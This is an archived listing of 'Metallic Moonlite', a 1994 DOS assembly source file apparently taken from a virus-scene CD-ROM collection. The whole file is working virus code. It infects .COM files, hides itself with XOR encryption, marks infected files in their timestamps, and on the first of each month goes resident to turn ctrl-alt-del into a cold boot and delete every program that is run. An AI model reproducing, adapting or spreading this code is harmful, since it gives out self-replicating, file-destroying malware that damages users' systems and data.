home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / M.ZIP / MET-MOON.ASM < prev    next >
Assembly Source File  |  1994-01-05  |  9KB  |  244 lines

  1. ; Virusname  : Metallic Moonlite
  2. ; Virusauthor: Metal Militia
  3. ; Virusgroup : Immortal Riot
  4. ; Origin     : Sweden
  5. ;
  6. ; It's a non-resident, current dir infector of com-files. every first
  7. ; of any month it will put a bit of code resident to make ctrl-alt-del's
  8. ; to coldboots and delete all files being executed. It's encrypted with
  9. ; an XOR-loop. If it's not the first it will simple make a screen-clear.
  10. ; Um!.. well, enjoy Insane Reality issue #4!
  11. ;
  12. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  13. ;              METALLIC MOONLITE
  14. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  15.  
  16. .model tiny
  17. .code
  18. cseg    segment
  19.         assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
  20.         org     100h
  21. begin:
  22. dummy_host      db      0e9h,00h,00h ; the jmp code
  23. virus_start:
  24.         mov     bp,0000h        ; the delta offset
  25.  
  26.         call    encrypt_decrypt ; call to unencrypt
  27.         jmp     restore_old_bytes ; restore old first bytes
  28.  
  29. write_virus:
  30.         call    encrypt_decrypt   ; call encryption routine
  31.  
  32.         lea dx,[bp+virus_start]   ; from 100h (start)
  33.         mov cx,heap-virus_start   ; viruslength
  34.         mov ah,40h                ; write it
  35.         int 21h
  36.  
  37.         call encrypt_decrypt      ; once again, encryption routine
  38.                                   ; being called
  39.         ret                       ; ret(urn) to "caller"
  40.  
  41.         enc_val dw 0              ; encryption value storage
  42.  
  43. encrypt_decrypt:
  44.         mov dx,word ptr [bp+enc_val] ; the encryption routine
  45.         lea si,[bp+restore_old_bytes]
  46.         mov cx,(heap_end-virus_start+1)/2
  47. again:
  48.         xor word ptr [si],dx         ; a simple XOR thang
  49.         inc si                       ; but gaak!, so effective
  50.         inc si
  51.         loop again
  52.         ret
  53.  
  54. restore_old_bytes:
  55.         mov     di,0100h
  56.         lea     si,[bp+old_bytes]       ; restore old first bytes
  57.         movsw
  58.         movsb
  59.  
  60.         lea     dx,[bp+new_dta]         ; DTA's place
  61.         mov     ah,1Ah                  ; set it
  62.         int     21h
  63.  
  64.         lea     dx,[bp+com_mask]        ; file(s) to find
  65.         mov     cx,0002h                ; hidden/normal attributes
  66.         mov     ah,4eh                  ; find first file
  67. find_next:
  68.         int     21h
  69.         jnc     check_file              ; found one? if so, check it
  70.         jmp     bye_bye                 ; no uninfected files found,
  71.                                         ; outa here
  72. check_file:
  73.         mov     ax,word ptr [bp+file_time] ; get time of file
  74.         and     al,00011111b            ; mask seconds field
  75.         cmp     al,00010101b            ; check for previous infection
  76.         je      try_again               ; is it infected? so, try another
  77.         jmp     replicate               ; not infected yet, kick it
  78.  
  79. try_again:
  80.         mov     ah,4fh ; find next file
  81.         jmp     short find_next ; so, do that
  82.  
  83. replicate:
  84.         lea     dx,[bp+file_name]
  85.         sub     cx,cx
  86.         mov     ax,4301h                ; set attributes
  87.         int     21h
  88.  
  89.         lea     dx,[bp+file_name]       ; open file
  90.         mov     ax,3d02h                ; read/write access
  91.         int     21h
  92.         xchg    ax,bx                   ; mov bx,ax
  93.  
  94.         mov     ah,3fh ; read bytes
  95.         mov     cx,03h ; 3 of them
  96.         lea     dx,[bp+old_bytes] ; save them in the buffer (old_bytes)
  97.         int     21h
  98.  
  99.         cwd
  100.         sub     cx,cx
  101.         mov     ax,4202h                ; move file pointer to EOF
  102.         int     21h
  103.  
  104.         sub     ax,03h                  ; 3 bytes
  105.         mov     word ptr [bp+virus_start+1],ax ; from start
  106.         mov     word ptr [bp+new_bytes+1],ax ; our jmp code
  107.  
  108.         mov     ah,2ch                       ; get time
  109.         int     21h
  110.         mov     word ptr [bp+enc_val],dx     ; put as encryption value
  111.         call    write_virus                  ; write our code (*.*)
  112.  
  113.         cwd
  114.         sub     cx,cx
  115.         mov     ax,4200h                ; move file pointer to SOF
  116.         int     21h
  117.  
  118.         lea     dx,[bp+new_bytes] ; write our jmp code at beginning
  119.         mov     cx,03h ; 3 bytes long
  120.         mov     ah,40h ; kick it
  121.         int     21h
  122.  
  123.         mov     dx,word ptr [bp+file_date]
  124.         mov     cx,word ptr [bp+file_time]
  125.         and     cl,11100000b
  126.         or      cl,00010101b
  127.         mov     ax,5701h                ; restore date and time
  128.         int     21h                     ; and mask seconds to show
  129.                                         ; it's infected
  130.         mov     ah,3eh                  ; close file
  131.         int     21h
  132.  
  133.         lea     dx,[bp+file_name]
  134.         sub     cx,cx
  135.         mov     cl,byte ptr [bp+file_attr]
  136.         mov     ax,4301h                ; restore the original attributes
  137.         int     21h
  138.  
  139.         jmp     try_again               ; try to find another file
  140.  
  141. bye_bye:
  142.         mov     ah,2ah                  ; get date
  143.         int     21h
  144.         cmp     dl,1                    ; the first of any month?
  145.         je      print_it                ; if so, deletion time
  146.         jmp     nofuckup                ; else, quit
  147. print_it:
  148.         mov     ah,9h                   ; print note
  149.         lea     dx,[bp+offset printfake] ; faked thing
  150.         int     21h
  151.  
  152.         jmp     resident                 ; go resident
  153.  
  154. int_9_entry   proc    far
  155.         push    ax
  156.         in      al,60h
  157.         cmp     al,delcode               ; ctrl-alt-del?
  158.         je      warmboot                 ; if so, boot
  159.         pop     ax
  160.         jmp     cs:Old_9                 ; let them use the old one
  161. warmboot:
  162.         db      0eah,00h,00h,0ffh,0ffh   ; no warmboot, but a coldboot
  163.         iret                             ; i wonder if they will notice
  164. int_9_entry   endp                       ; thatone (?)
  165.  
  166. int_21h_entry   proc    far
  167.         cmp     ax,4b00h ; are they running a file?
  168.         jne     go_on    ; if not, check other thang
  169.         mov     ah,41h ; delete it
  170.         int     21h
  171. go_on:
  172.         cmp     ax,4B9Fh ; is another copy trying to go resident?
  173.         je      loc_0111 ; if so, show that we're here already
  174.         jmp     cs:Old_21 ; else, let them use old int21
  175. loc_0111:
  176.         mov     ax,1994h ; 1994, our TSR mark here
  177.         iret             ; to show that one copy's already eating memory
  178. int_21h_entry    endp
  179. en:
  180.   
  181. resident:
  182.         mov     ax,3509h ; hook int9 (to read keyboard)
  183.         int     21h
  184.  
  185.         mov     word ptr cs:Old_9,bx ; save the old one here
  186.         mov     word ptr cs:Old_9+2,es
  187.         mov     ax,2509h
  188.         mov     dx,offset int_9_entry ; and use ours instead
  189.         int     21h
  190.  
  191.         mov     ax,3521h ; hook int21 too (for filedeletion)
  192.         int     21h
  193.  
  194.         mov     word ptr cs:Old_21,bx ; save old int21 here
  195.     mov    word ptr cs:Old_21+2,es
  196.     mov    ax,2521h
  197.         mov     dx,offset int_21h_entry ; and let ours be used instead
  198.         int     21h
  199.  
  200.         mov     dx,offset en            ; what to put resident
  201.         int     27h                     ; do it
  202.  
  203. nofuckup:
  204. ;       mov     ah,0fh ; remove the first ";"
  205. ;       int     10h    ; and a screen-clear
  206. ;       mov     ah,0   ; will occure every
  207. ;       int     10h    ; execution.
  208.  
  209.  
  210. restore_it_all:
  211.         jmp     restore_dir ; restore everything
  212.  
  213. restore_dir:
  214.         mov     ah,1ah                  ; restore DTA
  215.         mov     dx,80h                  ; right now
  216.         int     21h
  217.  
  218.         mov     ax,0100h                ; set ax to start
  219.         push    ax                      ; push it
  220.         retn                            ; back to original program
  221.  
  222. virusname       db      'Metallic Moonlite' ; virus name
  223. copyright       db      '(c) Metal Militia/Immortal Riot' ; virus author
  224. greetings       db      'Greetings to The Unforgiven/IR'
  225. printfake       db      'Bad command or filename$'
  226.  
  227. com_mask        db      '*.com',0 ; files to infect, .com(mand)
  228. old_bytes       db      0cdh,20h,90h ; old jmp saved here
  229. new_bytes       db      0e9h,00h,00h ; new jmp code here
  230. delcode         equ     53h ; ctrl-alt-del code(s)
  231.  
  232. heap:
  233. old_9   dd      0 ; save's old int9 here
  234. old_21  dd      0 ; save's old int21 aswell
  235. new_dta         db      21 dup(?) ; the new DTA
  236. file_attr       db      ? ; files attributes
  237. file_time       dw      ? ; files time
  238. file_date       dw      ? ; files date
  239. file_size       dd      ? ; files size
  240. file_name       db      13 dup(?) ; files name
  241. old_attrs       db      5 dup(?) ; files old attributes
  242. heap_end: ; eov (end of virus)
  243. cseg    ends
  244.         end     begin